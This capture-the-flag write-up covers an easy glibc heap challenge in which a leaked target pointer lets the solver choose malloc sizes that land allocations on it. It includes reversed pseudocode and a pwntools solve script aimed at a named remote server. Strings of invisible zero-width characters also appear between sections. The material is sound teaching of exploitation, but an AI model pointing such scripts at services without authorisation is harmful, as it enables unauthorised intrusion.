← Back to Writeups
CUSTOMEasypwn

pwn7_mc1 (Mic Check — Heap Game)

XESXOR9/2/20264 min read
#pwn#custom#easy#bump_allocator_landing#chunk_size_arithmetic#glibc_malloc_size_rounding#leaked_target_pointer

pwn7_mc1 (Mic Check — Heap Game)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: bump_allocator_landing, chunk_size_arithmetic, glibc_malloc_size_rounding, leaked_target_pointer

Summary

Task: heap 'game' binary (PIE/NX/canary/Full RELRO) that prints a target pointer each round and lets you pick the malloc size; landing the second malloc(0x10) on the target 10 times wins. Solution: ignore the srand(time) PRNG entirely — the target is leaked directly, so solve by pure glibc chunk-size arithmetic: size = (target - prev_ptr - 0x20) - 8 makes the bump allocator land exactly on target.

pwn7_mc1 (Mic Check — Heap Game) — pwn_spbctf

Description

Play this little game.

Author: Vlad Roskov (@mrvos). Tier pwn7, category heap, "Mic Check". Remote: nc 109.233.56.90 11711 (pwn.spbctf.ru). Flag submitted via POST flag.

A not-stripped x86-64 ELF with PIE, NX, stack canary and Full RELRO. PLT imports: scanf, malloc, printf, puts, rand, setvbuf, srand, system, time. The program plays a 10-round "heap game"; surviving all 10 rounds runs system("cat flag.txt").

Analysis

Reversed main: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
srand(time(NULL));
puts("*** Let's play with heap! ***");
last = malloc(0x10);
printf("First malloc returned %p", last);   // leaks heap base
size = 0x10;
for (round = 0; round < 10; round++) {
    target = roundup16(size) + last + (rand()%4)*0x10 + 0x40;   // PRINTED to us
    printf("%d/10) Want next to return %p...", round+1, target);
    scanf("%i", &size);                      // WE choose the size
    user = malloc(size);  printf("malloc(%d) = %p", size, user);
    last = malloc(0x10);  printf("malloc(16) = %p", last);
    if (last == target) puts("Great!");
    else { printf("But i needed %p! Bye-bye...", target); exit(0); }
}
system("cat flag.txt");

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key insight: the desired target pointer is printed to us every round. The srand(time(NULL)) PRNG and the (rand()%4)*0x10 jitter are folded into the printed target, so there is no need to model or predict rand() at all.

The heap is a pure bump allocator from the top — nothing is ever free()d, so there is no tcache/bin reuse. We only need to pick the malloc request size so the second malloc(0x10) of the round lands exactly on target.

Chunk-size arithmetic

Let P be the previous round's malloc(0x10) user pointer (which equals the previous target, or the first malloc for round 1). Its chunk header is at P-0x10, chunk size 0x20, so the next free top is P+0x10. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • malloc(size) → chunk at P+0x10, user P+0x20, consuming chunk size C.
  • malloc(0x10) → chunk at P+0x10+C, user P+0x20+C.

We need P+0x20+C == target, i.e. C = target - P - 0x20.

A request of n bytes maps to a glibc chunk size C = max(0x20, align16(n+8)). So pick n = C - 8, which satisfies align16(n+8) == C.

Solution

For each of the 10 rounds: parse the printed target and the previous pointer P, compute C = target - P - 0x20, send size = C - 8, verify the resulting malloc(0x10) equals target and we got "Great!", then carry P = target into the next round. After 10 wins the server prints system("cat flag.txt"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
# Heap Game (pwn7_mc1, spbctf "Mic Check") exploit.
# The target pointer is printed each round -> no rand() prediction needed.
# Heap is pure bump-allocation (nothing freed). For previous user ptr P:
#   malloc(size) consumes chunk C; next malloc(0x10) returns P+0x20+C.
#   Need P+0x20+C == target => C = target - P - 0x20; request n = C - 8
#   since glibc maps n -> chunk size align16(n+8).
from pwn import *

context.log_level = 'info'
HOST, PORT = '109.233.56.90', 11711
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

r = remote(HOST, PORT)

r.recvuntil(b'First malloc returned ')
last = int(r.recvline().strip(), 16)
log.info('first malloc = %#x', last)

for i in range(10):
    r.recvuntil(b'return ')
    target = int(r.recvuntil(b'.', drop=True), 16)
    need_C = target - last - 0x20
    assert need_C >= 0x20 and need_C % 0x10 == 0, hex(need_C)
    size = need_C - 8                      # align16(size+8) == need_C
    log.info('round %d target=%#x C=%#x size=%d', i + 1, target, need_C, size)
    r.sendline(str(size).encode())
    r.recvuntil(b'malloc(16) = ')
    got = int(r.recvline().strip(), 16)
    assert got == target, f'mismatch got={got:#x} want={target:#x}'
    line = r.recvline().strip()
    assert b'Great' in line, line
    last = target
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# After 10 wins: system("cat flag.txt")
data = r.recvall(timeout=5)
print(data.decode(errors='replace'))
for line in data.splitlines():
    if b'spbctf{' in line:
        log.success('FLAG: %s', line.decode(errors='replace'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍